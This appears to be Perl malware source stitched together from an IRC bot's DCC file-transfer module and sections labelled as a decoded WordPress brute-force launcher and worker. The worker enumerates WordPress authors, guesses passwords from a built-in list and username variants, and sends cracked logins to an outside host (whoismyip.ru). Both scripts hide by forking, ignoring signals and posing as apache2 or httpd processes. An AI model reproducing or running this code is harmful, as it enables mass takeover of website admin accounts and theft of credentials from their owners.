$DCC{$fh}{ftime} = time;
$dcc_sel->remove($fh);
$fh->close;
next;
}
if ($dcctipo eq "get") {
$DCC{$fh}{curbyte} += length($msg);
my $cur_byte = $DCC{$fh}{curbyte};
open(FILE, ">> $arquivo");
print FILE "$msg" if ($cur_byte <= $bytes);
close(FILE);
my $packbyte = pack("N", $cur_byte);
print $fh "$packbyte";
if ($bytes == $cur_byte) {
$dcc_sel->remove($fh);
$fh->close;
$DCC{$fh}{status} = "Recebido";
$DCC{$fh}{ftime} = time;
next;
}
} elsif ($dcctipo eq "send") {
my $send = $fh->accept;
$send->autoflush(1);
$dcc_sel->add($send);
$dcc_sel->remove($fh);
$DCC{$send}{tipo} = 'sendcon';
$DCC{$send}{itime} = time;
$DCC{$send}{nick} = $nick;
$DCC{$send}{bytes} = $bytes;
$DCC{$send}{curbyte} = 0;
$DCC{$send}{arquivo} = $arquivo;
$DCC{$send}{ip} = $send->peerhost;
$DCC{$send}{porta} = $send->peerport;
$DCC{$send}{status} = "Enviando";
open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
# delete($DCC{$fh});
} elsif ($dcctipo eq 'sendcon') {
my $bytes_sended = unpack("N", $msg);
$DCC{$fh}{curbyte} = $bytes_sended;
if ($bytes_sended == $bytes) {
$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} = "Enviado";
$DCC{$fh}{ftime} = time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}
sub SEND {
my ($nick, $arquivo) = @_;
unless (-r "$arquivo") {
return(0);
}
my $dccark = $arquivo;
$dccark =~ s/[.*\/](\S+)/$1/;
my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
my $longip = unpack("N",inet_aton($meuip));
my @filestat = stat($arquivo);
my $size_total=$filestat[7];
if ($size_total == 0) {
return(0);
}
my ($porta, $sendsock);
do {
$porta = int rand(64511);
$porta += 1024;
$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
} until $sendsock;
$DCC{$sendsock}{tipo} = 'send';
$DCC{$sendsock}{nick} = $nick;
$DCC{$sendsock}{bytes} = $size_total;
$DCC{$sendsock}{arquivo} = $arquivo;
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else {
return(0);
}
my $dccip=fixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} = 'get';
$DCC{$dccsock}{itime} = time;
$DCC{$dccsock}{nick} = $nick;
$DCC{$dccsock}{bytes} = $bytes;
$DCC{$dccsock}{curbyte} = 0;
$DCC{$dccsock}{arquivo} = $arquivo;
$DCC{$dccsock}{ip} = $dccip;
$DCC{$dccsock}{porta} = $dccporta;
$DCC{$dccsock}{status} = "Recebendo";
}
sub Status {
my $socket = shift;
my $sock_tipo = $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick = $DCC{$socket}{nick};
my $arquivo = $DCC{$socket}{arquivo};
my $itime = $DCC{$socket}{itime};
my $ftime = time;
my $status = $DCC{$socket}{status};
$ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
my $d_time = $ftime-$itime;
my $cur_byte = $DCC{$socket}{curbyte};
my $bytes_total = $DCC{$socket}{bytes};
my $rate = 0;
$rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
my $porcen = ($cur_byte*100)/$bytes_total;
my ($r_duv, $p_duv);
if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv = $3; $r_duv++ if $4 >= 5;
$rate = "$1\.$2"."$r_duv";
}
if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv = $3; $p_duv++ if $4 >= 5;
$porcen = "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
}
return(0);
}
sub fixaddr {
my ($address) = @_;
chomp $address;
if ($address =~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return $address;
} elsif ($address =~ tr/a-zA-Z//) {
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}decoded WordPress brute-force launcher
use Getopt::Long;
use constant ('TRUE', 1);
use constant ('FALSE', 0);
use constant ('WPBRUTER_FILENAME', 'w.pl');
use constant ('WPBRUTER_PROCNAME', 'apache2');
use constant ('MY_PROCNAME', '[httpd]');
use constant ('LOG_FILENAME', 'status.log');
my $cCommand = 'ps aux | grep apache2 | wc -l';
my $nThreads = 50;
my $Verbose = 0;
my $showHelp = 0;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
$0 = '[httpd]' . "\000" x 16;
my $pid = fork;
exit() if $pid;
die "Problema ao criar fork: $!" unless defined $pid;
sub fErrorMsg () {
print '[-] Error: ' . $_[0] . "\n";
exit;
}
sub showHelp () {
print "****************************************************************************\n";
print "* *\n";
print "* WordPress BruteForce *\n";
print "* 2012 *\n";
print "* *\n";
print "****************************************************************************\n";
print "\n";
print " ..:: USAGE ::.. \n";
print " $0 -i <InputFile> -o <OutputFile>\n";
print "\n";
print " ..:: OPTIONS ::.. \n";
print "\n";
print " -v Verbose (default: no))\n";
print " -t Threads (default: 10)\n";
print "\n";
print "\n";
print "****************************************************************************\n";
exit 0;
}
sub UpdateLogFile () {
$data = $_[0];
open O, '>status.log';
print O "$data";
close O;
}
GetOptions 'i=s', \$InputFile, 'o=s', \$OutputFile, 'g=i', \$GoToLine, 't=i', \$nThreads, 'v!', \$Verbose, 'h!', \$showHelp;
unless (defined $InputFile) {
&fErrorMsg('You need to set the output file with -i option');
}
unless (defined $OutputFile) {
&fErrorMsg('You need to set the output file with -o option');
}
&showHelp() if $showHelp;
open iFILE, "<$InputFile";
if (defined $GoToLine) {
while (defined($_ = <iFILE>)) {
if ($. == $GoToLine) {
last;
}
}
}
while (defined($_ = <iFILE>)) {
chomp($host = $_);
chomp($p = `$cCommand` - 2);
print "[+] Started ($p/$nThreads) : $host\n" if $Verbose;
while ($p >= $nThreads) {
sleep 1;
chomp($p = `$cCommand` - 2);
}
&UpdateLogFile("$. scanned hosts");
$cmdline = 'perl w.pl' . " -h $host -o $OutputFile -l $. ";
$cmdline = $cmdline . '-v' if $Verbose;
system $cmdline;
}decoded WordPress brute-force worker
use HTTP::Request;
use HTTP::Cookies;
use HTML::LinkExtor;
use LWP::UserAgent;
use LWP::Simple;
use IO::Socket::INET;
use Getopt::Long;
use constant ('TRUE', 1);
use constant ('FALSE', 0);
use constant ('HTTPTimeout', 8);
use constant ('USER_AGENT', 'Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15');
use constant ('MY_PROCNAME', '/usr/sbin/apache2');
my $Verbose = 0;
my $NoBrute = 0;
my $TimThumb = 0;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
$0 = '/usr/sbin/apache2' . "\000" x 16;
my $pid = fork;
exit() if $pid;
die "\t\tProblema ao criar fork: $!" unless defined $pid;
@paths = ('', 'blog/', 'wordpress/', 'wp/');
@usernames_base = ('%site%', '%site8%', 'admin');
@usernames = '';
@passwords = ('%site%',
'%site8%',
"%user%",
"%user8%",
"%user%123",
"%user%1",
"%user%12",
"%user%1234",
"%user%2018",
"%user%2019",
"%user%%user%",
"%user8%%user8%",
'12345',
'123456',
'admin',
'pass',
'password',
'test',
'0000',
'000000',
'1',
'102030',
'11111',
'111111',
'112233',
'12',
'1%user%',
'12%user%',
'123%user%',
'123',
'123123',
'1234%user%',
'1234',
'1234567',
'12345678',
'123456789',
'1234567890',
'1234qwer',
'123mudar',
'123qwe',
'1q2w3e',
'1q2w3e4r',
'1q2w3e4r5t',
'1q2w3e4r5t6y',
'1qaz2wsx',
'1qaz@WSX',
'1qazXSW@',
'Admin123',
'P4SSW0RD',
'P4ssw0rd',
'P@55w0rd',
'P@ssw0rd!',
'P@ssw0rd',
'P@ssw0rd1',
'P@ssword!',
'P@ssword',
'P@ssword1',
'P@ssword123',
'Pa$$w0rd',
'Pa$$word',
'Pa55word',
'Pass123',
'Pass1234',
'Passw0rd!',
'Passw0rd',
'Password01',
'Password1',
'Password123',
'Password1234',
'abc123',
'admin123',
'p4ssw0rd',
'p@ssw0rd',
'pass123',
'passwd',
'password1',
'password123',
'q1w2e3r4',
'q1w2e3r4t5',
'q1w2e3r4t5y6',
'qazwsx',
'qwe123',
'qweasd123',
'qwer1234',
'qwerty',
'qwerty123',
'zxcvbnm');
my $cookie_jar = 'HTTP::Cookies'->new;
my $sock = 'LWP::UserAgent'->new('timeout', 8);
$sock->agent('Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15');
$sock->cookie_jar($cookie_jar);
sub fErrorMsg () {
print "\t[-] Error: " . $_[0] . "\n";
exit;
}
sub HTTPGet () {
my $url = $_[0];
my $request = 'HTTP::Request'->new('GET', $url);
my $response = $sock->request($request);
return $response;
}
sub HTTPPost () {
my $url = $_[0];
my $h = 'HTTP::Headers'->new;
$h->header('Accept', '*/*', 'Accept-Language', 'pt-br', 'Connection', 'Close', 'Pragma', 'no-cache');
my $request = 'HTTP::Request'->new('POST', $url, $h);
$request->content_type('application/x-www-form-urlencoded');
$request->content($_[1]);
my $response = $sock->simple_request($request);
return $response;
}
sub IsWordPress () {
my $url = $_[0];
$url =~ s[http://][];
my $new_url = 'http://' . $url . '/wp-login.php';
my $r = &HTTPGet($new_url);
if ($r->content =~ /action=lostpassword/) {
return 1;
}
return 0;
}
sub ExtractLinks () {
$parser = 'HTML::LinkExtor'->new;
$parser->parse($_[0]);
@links = $parser->links;
@result = ();
foreach $linkarray (@links) {
my(@element) = @$linkarray;
my $elt_type = shift @element;
while (@element) {
my($attr_name, $attr_value) = splice(@element, 0, 2);
if ($attr_name eq 'href') {
push @result, $attr_value;
}
}
}
return @result;
}
sub CheckPost () {
$r = &HTTPGet('http://' . $_[0] . 'wp-admin/edit.php');
unless ($r->is_success) {
return 0;
}
if ($r->content =~ m[wp-admin/post.php\?]) {
return 1;
}
return 0;
}
sub IsAdmin () {
my $host = $_[0];
my $path = $_[1];
$r = &HTTPGet('http://' . $host . $path . 'wp-admin/theme-install.php');
if ($r->is_success) {
@l = &ExtractLinks($r->content);
foreach $_ (@l) {
if ($_ =~ /theme-install\.php\?tab=/) {
return 1;
}
}
}
return 0;
}
sub WPLogin {
my $host = $_[0];
my $path = $_[1];
my $user = $_[2];
my $pass = $_[3];
$PostData = 'log=' . $user . '&pwd=' . $pass . '&wp-submit=Login&redirect_to=http%3A%2F%2F' . $host . '%2F' . $path . '%2Fwp-admin%2F&testcookie=1' . "\r\n";
$r = &HTTPPost('http://' . $host . $path . '/wp-login.php', $PostData);
$ver = $r->as_string;
if ($ver =~ /wordpress_logged_in/ and $ver =~ /path=/ and $ver =~ /302/) {
if ($ver =~ m[Location:.*/wp-admin]) {
return 1;
}
else {
();
}
}
return 0;
}
sub InArray () {
my($s, @a) = @_;
foreach $_ (@a) {
if ($s eq $_) {
return 1;
}
}
return 0;
}
sub GetSiteName () {
$DomainName = $_[0];
$c = $_[1];
if ($c > 0) {
return substr($DomainName, 0, $c);
}
return $DomainName;
}
sub EnumerateUsers () {
my $url = $_[0];
$url =~ s[http://][];
@usernames = @usernames_base;
$t = scalar @usernames;
my $userid = 0;
for ($i = 1; $i <= 10; ++$i) {
$new_url = 'http://' . $url . '?author=' . $i;
$r = &HTTPGet($new_url);
if ($r->base =~ m[.*/author/(.*)/]) {
$user = $1;
}
else {
if ($r->content =~ /<body class=".*author\-(.*) author\-$i.*">/) {
$user = $1;
}
}
if (defined $user) {
print "\t[+] User found: $user\n" if $Verbose;
push @usernames, $user;
if (scalar @usernames == 5 + $t) {
return;
}
undef $user;
}
}
}
sub AddDataToFile () {
$data = $_[0];
getprint("http://whoismyip.ru/dist/ru2.php?save=$data");
}
GetOptions 'h=s', \$Host, 'o=s', \$OutputFile, 'w=s', \$wFile, 'l=i', \$LineNumber, 'v!', \$Verbose, 'n!', \$NoBrute, 't!', \$TimThumb;
$Host =~ s[http://][];
unless (defined $Host) {
&fErrorMsg('You need to set the WordPress site with -h option.');
}
unless (defined $OutputFile) {
&fErrorMsg('You need to set the output file with -o option');
}
if (defined $wFile) {
open WFILE, $wFile;
@passwords = ();
foreach $p (<WFILE>) {
chomp $p;
push @passwords, $p;
}
close WFILE;
}
$Domain = $Host;
$Domain =~ s/www\.//;
$Domain =~ s/www2\.//;
$Domain =~ s/forum\.//;
$Domain =~ s/blog\.//;
$Domain =~ s/mail\.//;
@s = split(?\.?, $Domain, 0);
$DomainName = $s[0];
@s = split(?/?, $Host, 0);
$host = $s[0];
shift @s;
$base = '/' . join('/', @s);
unless ($NoBrute) {
foreach $_ (@paths) {
$path = $base . $_;
unless (&IsWordPress($host . $path)) {
print "\t[!] It does not appear to be WordPress : $host$path\n" if $Verbose;
next;
}
print "\t[+] WordPress Found: $host$path\n" if $Verbose;
&EnumerateUsers($host . $path);
@_u = '';
foreach $_ (@usernames) {
$user = $_;
while ($user =~ /%site(\d)*%/) {
$c = $1;
$s = &GetSiteName($DomainName, $c);
$user =~ s/%site$c%/$s/;
}
if (&InArray($user, @_u)) {
next;
}
push @_u, $user;
@_p = '';
$sing = $user;
$sing =~ tr/aeio/4310/;
push @passwords, $sing;
$sing2 = $user;
$sing2 =~ tr/aeio/@310/;
push @passwords, $sing2;
$sing3 = $user;
$sing3 =~ tr/aeio/@3!0/;
push @passwords, $sing3;
$sing4 = $user;
$sing4 =~ tr/aeios/43105/;
push @passwords, $sing4;
$sing5 = $user;
$sing5 =~ tr/aeiost/431057/;
push @passwords, $sing5;
$sing6 = $user;
$sing6 =~ tr/aei/431/;
push @passwords, $sing6;
$sing7 = $user;
$sing7 =~ tr/ae/43/;
push @passwords, $sing7;
$sing8 = $user;
$sing8 =~ tr/a/4/;
push @passwords, $sing8;
$sing9 = $user;
$sing9 =~ tr/a/@/;
push @passwords, $sing9;
$sing10 = $user;
$sing10 =~ tr/aeios/@3!0$/;
push @passwords, $sing10;
$sing11 = $user;
$sing11 =~ tr/aeiostzb/43105728/;
push @passwords, $sing11;
$sing12 = $user;
$sing12 = join " ", map {ucfirst} split " ", $sing12;
push @passwords, $sing12;
$sing13 = $user;
$sing13 = join " ", map {ucfirst} split " ", $sing13;
my $suf = "1";
$sing13 .= $suf;
push @passwords, $sing13;
$sing14 = $user;
$sing14 = join " ", map {ucfirst} split " ", $sing14;
my $suf = "12";
$sing14 .= $suf;
push @passwords, $sing14;
$sing15 = $user;
$sing15 = join " ", map {ucfirst} split " ", $sing15;
my $suf = "123";
$sing15 .= $suf;
push @passwords, $sing15;
$sing16 = $user;
$sing16 = join " ", map {ucfirst} split " ", $sing16;
my $suf = "2018";
$sing16 .= $suf;
push @passwords, $sing16;
$sing17 = $user;
$sing17 = join " ", map {ucfirst} split " ", $sing17;
my $suf = "2017";
$sing17 .= $suf;
push @passwords, $sing17;
$sing18 = $user;
$sing18 = join " ", map {ucfirst} split " ", $sing18;
my $suf = "2016";
$sing18 .= $suf;
push @passwords, $sing18;
$sing19 = $user;
$sing19 = join " ", map {ucfirst} split " ", $sing19;
my $suf = "2015";
$sing19 .= $suf;
push @passwords, $sing19;
$sing20 = $user;
$sing20 = join " ", map {ucfirst} split " ", $sing20;
my $suf = "2014";
$sing20 .= $suf;
push @passwords, $sing20;
$sing21 = $user;
$sing21 = join " ", map {ucfirst} split " ", $sing21;
my $suf = "2013";
$sing21 .= $suf;
push @passwords, $sing21;
$sing22 = $user;
$sing22 = join " ", map {ucfirst} split " ", $sing22;
my $suf = "2012";
$sing22 .= $suf;
push @passwords, $sing22;
$sing23 = $user;
$sing23 = join " ", map {ucfirst} split " ", $sing23;
my $suf = "2011";
$sing23 .= $suf;
push @passwords, $sing23;
$sing24 = $user;
$sing24 = join " ", map {ucfirst} split " ", $sing24;
my $suf = "2010";
$sing24 .= $suf;
push @passwords, $sing24;
$sing25 = $user;
$sing25 =~ tr/aeio/4310/;
$sing25 = join " ", map {ucfirst} split " ", $sing25;
push @passwords, $sing25;
$sing26 = reverse $user;
push @passwords, $sing26;
foreach $_ (@passwords) {
$pass = $_;
while ($pass =~ /%site(\d)*%/) {
$c = $1;
$s = &GetSiteName($DomainName, $c);
$pass =~ s/%site$c%/$s/;
}
while ($pass =~ /%user(\d)*%/) {
$c = $1;
$s = &GetSiteName($user, $c);
$pass =~ s/%user$c%/$s/;
}
if (&InArray($pass, @_p)) {
next;
}
push @_p, $pass;
print "\t\tTrying $host$path ${user}:$pass...\r\n" if $Verbose;
$r = &WPLogin($host, $path, $user, $pass);
if ($r) {
if (&IsAdmin($host, $path, $user, $pass)) {
&AddDataToFile('http://' . $host . $path . "wp-login.php:${user}:$pass");
print "\t[+] Cracked => ${user}:$pass in http://$host$path\n" if $Verbose;
exit 0;
}
else {
print "\t[--] Sorry, found => ${user}:$pass in http://$host$path with no admin permission\n" if $Verbose;
&AddDataToFile('http://' . $host . $path . "wp-login.php:${user}:$pass");
last;
}
}
}
}
}
}
print "[+] Done in $host!\r\n" if $Verbose;
exit $LineNumber;